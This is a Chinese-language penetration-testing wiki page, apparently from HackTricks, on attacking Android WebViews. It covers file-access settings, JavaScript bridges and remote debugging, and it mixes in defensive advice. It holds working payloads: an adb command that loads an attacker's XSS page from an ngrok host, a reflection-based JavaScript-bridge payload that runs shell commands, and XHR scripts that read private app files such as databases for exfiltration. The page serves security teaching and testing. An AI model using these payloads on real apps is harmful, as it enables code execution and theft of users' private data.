15 KiB
WebView攻击
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一个网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFT收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
有趣的配置
你可以通过以下方式识别出暴露的WebView:
文件访问
WebView文件访问默认是启用的。从API 3(Cupcake 1.5)开始,可以使用setAllowFileAccess()方法来显式启用或禁用它。
如果应用程序具有android.permission.READ_EXTERNAL_STORAGE权限,则可以从外部存储读取和加载文件。
WebView需要使用文件URL方案,例如file://path/file
,来访问文件。
从文件URL进行通用访问(已弃用)
设置是否允许文件方案URL上下文中的跨源请求访问任何来源的内容。这包括访问其他文件方案URL或Web上下文的内容。请注意,某些访问(如图像HTML元素)不遵循同源规则,不受此设置的影响。
如果打开可能由外部来源创建或更改的文件,请不要启用此设置。启用此设置将允许在
file://
上下文中加载的恶意脚本发起跨站脚本攻击,从而访问任意本地文件,包括WebView的cookie、应用程序私有数据甚至用于任意网站的凭据。
总结一下,这将阻止加载任意来源。如果应用程序发送的URL请求不允许该来源(Access-Control-Allow-Origin: file://
),则不会加载内容。
当目标为Build.VERSION_CODES.JELLY_BEAN
及以上版本时,默认值为false
。
- 使用
getAllowUniversalAccessFromFileURLs()
来了解在文件方案URL上下文中运行的JavaScript是否可以访问任何来源(如果启用了UniversalAccessFromFileURL)。 - 使用
setAllowUniversalAccessFromFileURLs(boolean)
来启用/禁用它。
{% hint style="info" %}
使用**loadDataWithBaseURL()
并将baseURL设置为null也可以防止加载本地文件**,即使所有危险设置都已启用。
{% endhint %}
从文件URL访问文件(已弃用)
设置是否允许文件方案URL上下文中的跨源请求访问其他文件方案URL的内容。请注意,某些访问(如图像HTML元素)不遵循同源规则,不受此设置的影响。
如果打开可能由外部来源创建或更改的文件,请不要启用此设置。启用此设置将允许在
file://
上下文中加载的恶意脚本访问任意本地文件,包括WebView的cookie和应用程序私有数据。
总结一下,这将阻止JavaScript通过file://
协议访问本地文件。
请注意,如果getAllowUniversalAccessFromFileURLs()
的值为true
,则此设置的值将被忽略。
当目标为Build.VERSION_CODES.JELLY_BEAN
及以上版本时,默认值为false
。
- 使用
getAllowFileAccessFromFileURLs()
来了解在文件方案URL上下文中运行的JavaScript是否可以访问其他文件方案URL的内容。 - 使用
setAllowFileAccessFromFileURLs(boolen)
来启用/禁用它。
文件访问
启用或禁用WebView内的文件访问。请注意,这仅启用或禁用文件系统访问。使用
file:///android_asset
和file:///android_res
仍然可以访问资源和资产。
简而言之,如果禁用,WebView将无法使用file://
协议加载本地文件。当目标为Build.VERSION_CODES.R
及以上时,默认值为false
。
- 使用
getAllowFileAccess()
来了解配置是否已启用。 - 使用
setAllowFileAccess(boolean)
来启用/禁用它。
WebViewAssetLoader
辅助类,用于在
WebView
类中使用http(s):// URL加载本地文件,包括应用程序的静态资源和资源。使用类似于Web的URL而不是"file://"
来加载本地文件是可取的,因为它与同源策略兼容。
这是一种新的推荐方法来加载本地文件。目标是通过域名使用HTTP URL来访问本地文件。这样可以在本地网页和从Web服务器下载的Web页面之间轻松维护CORS。
启用JavaScript
WebView默认情况下禁用JavaScript。可以使用setJavaScriptEnabled()
方法显式启用或禁用它。
请注意,WebView还可以支持允许触发其他应用程序的**intent
** scheme。阅读此文章以了解如何从XSS到RCE。
以下是一个通过参数"support_url"(可以指示WebView加载的URL)暴露的易受XSS攻击的WebView示例:
可以使用类似以下的adb命令利用该漏洞:
{% code overflow="wrap" %}
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"
{% endcode %}
Javascript桥接
Android提供了一种方式,使得在WebView中执行的JavaScript可以调用和使用Android应用程序的本地函数(使用@JavascriptInterface
进行注释),方法是使用addJavascriptInterface
方法。这被称为_WebView JavaScript桥接_或_本地桥接_。
请注意,当您使用addJavascriptInterface
时,您明确地授予所有在WebView中加载的页面对注册的JavaScript接口对象的访问权限。这意味着,如果用户在您的应用程序或域之外导航,所有其他外部页面也将可以访问这些JavaScript接口对象,如果通过这些接口暴露了任何敏感数据,可能会存在潜在的安全风险。
警告:对于针对Android 4.2(API级别17)以下版本的应用程序,要非常小心,因为它们对
addJavascriptInterface
的实现存在漏洞:一种滥用反射的攻击,当恶意JavaScript注入到WebView中时,会导致远程代码执行。这是因为默认情况下可以访问所有Java对象方法(而不仅仅是那些已注释的方法)。
静态分析
//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
}
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>
通过访问JavaScript代码,例如通过存储的XSS、中间人攻击或在WebView中加载的恶意网站,可以直接调用暴露的Java方法。
{% hint style="info" %} 请注意,在尝试通过重定向到攻击者的网页以访问本机Android对象的漏洞时,如果通过移动浏览器而不是使用相同的WebView进行重定向访问,则浏览器将无法访问本机Android对象。 {% endhint %}
如果需要使用addJavascriptInterface
,请考虑以下事项:
- 只允许使用APK提供的JavaScript来使用桥接,例如通过在每个桥接的Java方法上验证URL(通过
WebView.getUrl
)。 - 不应从远程端点加载JavaScript,例如通过在应用程序域内进行页面导航,并在默认浏览器(例如Chrome、Firefox)中打开所有其他域。
- 如果出于兼容性原因需要(例如必须支持旧设备),请在应用程序的清单文件中将最低API级别设置为17(
<uses-sdk android:minSdkVersion="17" />
)。
通过反射实现的Javascript桥接到RCE
如此研究所述(在获得RCE的情况下,可以参考其中的想法),一旦找到一个Javascript桥接,就可以使用以下负载通过反射获得RCE:
<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>
然而,现代应用程序可能使用@JavascriptInterface
注解,该注解指示JavascriptBridge只应公开带有此注解的方法。在这种情况下,您将无法滥用反射来执行任意代码。
远程调试
远程WebView调试允许使用Chrome开发者工具访问WebView。
设备需要通过PC(通过USB、本地模拟器、本地网络等)可访问,并运行可调试的WebView,然后访问chrome://inspect/#devices:
选择inspect,将打开一个新窗口。在此窗口中,您可以与WebView的内容进行交互,甚至可以从控制台选项卡中执行任意的JS代码:
为了启用WebView远程调试,您可以执行以下操作:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
此设置适用于应用程序的所有 WebView。
{% hint style="info" %}
WebView 调试不受应用程序清单中 debuggable
标志的状态影响。如果您只想在 debuggable
为 true
时启用 WebView 调试,请在运行时测试该标志。
{% endhint %}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Payloads
泄露任意文件
To exfiltrate arbitrary files from an Android app's WebView, you can use the following payload:
var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///path/to/file', true);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var fileContent = xhr.responseText;
// Exfiltrate the file content to an external server or perform any other action
}
};
xhr.send();
Replace 'file:///path/to/file'
with the actual file path you want to exfiltrate. This payload sends a GET request to the specified file path and retrieves its content. You can then exfiltrate the file content to an external server or perform any other action as needed.
Keep in mind that this payload requires the app to have the necessary permissions to access the file you want to exfiltrate. Additionally, you should ensure that the server receiving the exfiltrated data is secure and properly handle the incoming files.
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
参考资料
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者你想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFT收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或 Telegram群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。